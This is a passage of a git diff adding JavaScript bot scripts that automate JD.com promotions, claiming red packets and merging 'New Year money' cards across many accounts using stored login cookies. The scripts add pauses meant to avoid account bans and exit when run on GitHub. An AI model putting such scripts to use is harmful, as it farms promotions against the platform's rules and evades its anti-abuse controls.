Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_ms_redrain.js b/activity/jd_ms_redrain.js new file mode 100644 index 0000000..6d2ed8e --- /dev/null +++ b/activity/jd_ms_redrain.js @@ -0,0 +1,206 @@ +/* +秒杀红包雨,可以获取3次,一天运行一次即可 +活动时间:2020-12-1 到 2020-12-31 +活动入口:首页👉秒杀👉往下拉(手指向上滑动)👉可以看到狂撒2亿京东 +更新地址:jd_ms_redrain.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#秒杀红包雨 +10 7 * * * jd_ms_redrain.js, tag=秒杀红包雨, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_redPacket.png, enabled=true + +================Loon============== +[Script] +cron "10 7 * * *" script-path=jd_ms_redrain.js, tag=秒杀红包雨 + +===============Surge================= +秒杀红包雨 = type=cron,cronexp="10 7 * * *",wake-system=1,timeout=3600,script-path=jd_ms_redrain.js + +============小火箭========= +秒杀红包雨 = type=cron,script-path=jd_ms_redrain.js, cronexpr="10 7 * * *", timeout=3600, enable=true + */ +const $ = new Env('秒杀红包雨'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/api'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + for(let i=0;i<3;++i){ + await getRedRain(); + await $.wait(5000); //防止黑号 + } + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(async resolve => { + let nowTime = new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000; + if (nowTime > new Date('2020/12/31 23:59:59+08:00').getTime()) { + $.msg($.name, '活动已结束', `咱江湖再见`); + if ($.isNode()) await notify.sendNotify($.name + '活动已结束', `咱江湖再见`) + } else { + $.msg($.name, '', `京东账号${$.index} ${$.nickName}\n${message}`); + } + resolve() + }) +} +function getRedRain() { + return new Promise(resolve => { + const body = {"actId":"RRA318jCtaXhZJgiLryM1iydEhc7Jna"}; + $.get(taskUrl('noahRedRainLottery', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.subCode === '0') { + console.log(`领取成功,获得${JSON.stringify(data.lotteryResult)}`) + // message+= `领取成功,获得${JSON.stringify(data.lotteryResult)}\n` + message+= `${data.lotteryResult.jPeasList[0].ext}:${(data.lotteryResult.jPeasList[0].quantity)}京豆\n` + + } else if (data.subCode === '8') { + console.log(`今日次数已满`) + message += `领取失败,今日已签到\n`; + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&_=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://h5.m.jd.com/active/redrain/index.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_newYearMoney.js b/activity/jd_newYearMoney.js new file mode 100644 index 0000000..b7eb379 --- /dev/null +++ b/activity/jd_newYearMoney.js @@ -0,0 +1,565 @@ +/* +京东压岁钱 +助力码会一直变,不影响助力 +活动时间:2021-2-1至2021-2-11 +活动入口:京东APP我的-压岁钱 +活动地址:https://unearth.m.jd.com/babelDiy/Zeus/22uHDsyHntidZV9tpwov2hrUUvmb/index.html +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东压岁钱 +20 8,12 * * * jd_newYearMoney.js, tag=京东压岁钱, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "20 8,12 * * *" script-path=jd_newYearMoney.js, tag=京东压岁钱 + +===============Surge================= +京东压岁钱 = type=cron,cronexp="20 8,12 * * *",wake-system=1,timeout=3600,script-path=jd_newYearMoney.js + +============小火箭========= +京东压岁钱 = type=cron,script-path=jd_newYearMoney.js, cronexpr="20 8,12 * * *", timeout=3600, enable=true + */ + +const $ = new Env('京东压岁钱'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message, sendAccount = [], receiveAccount = [], receiveCardList = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const inviteCodes = [ + `vcZUAJEW6NATdpttV8s8s2aZ4u1sc6Q-bWfi11uhlAKAbA`, + `vcZUAJEW6NATdpttV8s8s2aZ4u1sc6Q-bWfi11uhlAKAbA`, +]; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareCodesFormat(); + await jdNian() + await showMsg() + } + } + if(receiveAccount.length) + console.log(`开始领卡`) + for (let idx of receiveAccount) { + if (cookiesArr[parseInt(idx) - 1]) { + console.log(`账号${idx}领取赠卡`) + cookie = cookiesArr[parseInt(idx) - 1]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = parseInt(idx); + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await receiveCards() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdNian() { + try { + $.risk = false + $.red = 0 + $.total = 0 + await getHomeData() + await $.wait(2000) + if ($.risk) return + await getHomeData(true) + await helpFriends() + } catch (e) { + $.logErr(e) + } +} + +async function receiveCards() { + for (let token of receiveCardList) { + await receiveCard(token) + } +} + +function showMsg() { + return new Promise(resolve => { + if (!$.risk) message += `本次运行获得${Math.round($.red * 100) / 100}红包,共计红包${$.total}` + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +async function helpFriends() { + $.canHelp = true + for (let code of $.newShareCodes) { + if (!code) continue + await helpFriend(code) + if (!$.canHelp) return + await $.wait(4000) + } +} + +function getHomeData(info = false) { + return new Promise((resolve) => { + $.post(taskPostUrl('newyearmoney_home'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data.data['bizCode'] === 0) { + const {inviteId, poolMoney} = data.data.result.userActBaseInfo + $.cardList = data.data.result.cardInfos + if (info) { + $.total = poolMoney + if (sendAccount.includes($.index.toString())) { + let cardList = $.cardList.filter(vo => vo.cardType !== 7) + if (cardList.length) { + console.log(`送出当前账号第一张卡(每天只能领取一个好友送的一张卡)`) + await sendCard(cardList[0].cardNo) + } + } + return + } + console.log(`您的好友助力码为:${inviteId}`) + await $.wait(2000) + for (let i = 1; i <= 6; ++i) { + let cards = data.data.result.cardInfos.filter(vo => vo.cardType === i) + for (let j = 0; j < cards.length; j += 2) { + if (j + 1 < cards.length) { + let cardA = cards[j], cardB = cards[j + 1] + console.log(`去合并${i}级卡片`) + await consumeCard(`${cardA.cardNo},${cardB.cardNo}`) + await $.wait(2000) + } + } + } + } else { + $.risk = true + console.log(`账号被风控,无法参与活动`) + message += `账号被风控,无法参与活动\n` + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function lotteryHundredCard() { + return new Promise((resolve) => { + $.post(taskPostUrl('newyearmoney_lotteryHundredCard'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data.data['bizCode'] === 0) { + console.log(JSON.stringify(data)) + } else { + console.log(data.data.bizMsg) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function showHundredCardInfo(cardNo) { + return new Promise((resolve) => { + $.post(taskPostUrl('newyearmoney_showHundredCardInfo', {cardNo: cardNo}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + console.log(data) + if (data && data.data['bizCode'] === 0) { + console.log(JSON.stringify(data)) + } else { + console.log(data.data.bizMsg) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function receiveHundredCard(cardNo) { + return new Promise((resolve) => { + $.post(taskPostUrl('newyearmoney_receiveHundredCard', {cardNo: cardNo}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + console.log(data) + if (data && data.data['bizCode'] === 0) { + console.log(JSON.stringify(data)) + } else { + console.log(data.data.bizMsg) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function consumeCard(cardNo) { + return new Promise((resolve) => { + setTimeout(() => { + $.post(taskPostUrl('newyearmoney_consumeCard',{"cardNo":cardNo}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data.data['bizCode'] === 0) { + 